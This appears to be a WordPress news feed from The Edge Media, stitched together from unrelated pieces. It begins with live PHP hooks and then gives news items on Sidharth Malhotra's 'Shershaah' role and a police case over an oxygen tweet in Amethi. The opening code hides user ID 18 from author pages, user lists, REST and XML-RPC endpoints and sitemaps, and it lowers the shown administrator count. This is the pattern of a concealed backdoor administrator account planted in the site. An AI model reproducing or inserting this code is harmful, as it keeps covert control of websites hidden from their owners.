add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post I would have chosen to be in the Indian Army just like my grandfather : Sidharth Malhotra appeared first on The Edge Media.
]]>The role of Vikram Batra is close to Sidharth as his grandfather had also served in the Indian Army. Siddharth said, “I would have chosen to be in the Indian Army just like my grandfather who served the nation and fought in the India-China war in 1962.”
There are a lot of takeaways for the actor from ‘Shershaah’. “For me, there is so much I have learned through this film, though I have experienced a bit of the Army through my grandfather, but here to really dive deep into the details of it, it is the Army etiquette, the discipline.”
“It is just amazing to see how professional and how deeply detailed their functioning is, and I think we have one of the best armies in the world. I was very happy to play a small part of this true-born hero.”
In the film, Malhotra was seen in the double role of Captain Vikram Batra and his twin brother Vishal Batra. Directed by Vishnu Varadhan and jointly produced by Dharma Productions and Kaash Entertainment, Shershaah also features actors Shiv Panditt, Raj Arjun, Pranay Pachauri, Himanshu Ashok Malhotra, Nikitin Dheer, Anil Charanjeett, Sahil Vaid, Shataf Figar and Pawan Chopra.
Shershaah was supposed to release last year in theatres, but the coronavirus-induced lockdown forced cinema halls to shut, delaying its arrival. It was further pushed to release at the beginning of 2021 but later it was announced that the film would stream on Amazon Prime Video.
Siddharth shared the details during a chat with IMDb.
(With IANS input)
The post I would have chosen to be in the Indian Army just like my grandfather : Sidharth Malhotra appeared first on The Edge Media.
]]>The post Son asked oxygen for his grandfather, police filed FIR against him appeared first on The Edge Media.
]]>The young man Shashank Yadav tagged Bollywood actor Sonu Sood with his Twitter handle on the night of 26 April in a tweet saying, “Oxygen cylinders are needed at the earliest.
After seeing Shashank’s tweet, regional BJP MP and Union Minister Smriti Irani said in a tweet made on April 27, “I called Shashank thrice but the phone did not pick up.” I have asked the District Magistrate and Amethi Police to help the needy person.
Amethi Superintendent of Police Dinesh Singh said, “Shashank had asked to provide oxygen for his maternal grandfather , although he did not write in the tweet that his maternal grandfather covid- 19 are infected or not.
Singh said, “When Shashank’s mobile number was called, he did not pick up the phone. We thought that he might be in trouble, so he is not picking up the phone. After that we used surveillance and after finding out Shashank’s presence we reached his house. Where he was sleeping.
The Superintendent of Police claimed that Shashank’s house was 20 km from his maternal grandfather’s house and that he had gone there for barely five minutes after which He tweeted that. It is evident that Shashank’s motive was to spread sensation and fear by tweeting.
He said that a case has been registered against Shashank under the relevant sections of the Epidemic Act and he has been given a warning under section 41 of the Criminal Procedure Code after serving the notice.
Meanwhile, the district’s chief medical officer, Dr Ashutosh Dubey, said that Shashank’s maternal grandfather had not been tested for covid-19 and was undergoing treatment in a private hospital.
He was also not taken to the nearby Ramganj or Community Health Center in Bhadar. The Chief Medical Officer said that the claim of Shashank’s maternal grandfather’s death due to lack of oxygen is also not correct.
Amethi police said in one of its tweets, “Neither the patient was infected with covid-19 nor he need oxygen. He died of a heart attack on 26 April. The kind of tweet that Shashank tweeted is not only condemnable but also punishable.
The post Son asked oxygen for his grandfather, police filed FIR against him appeared first on The Edge Media.
]]>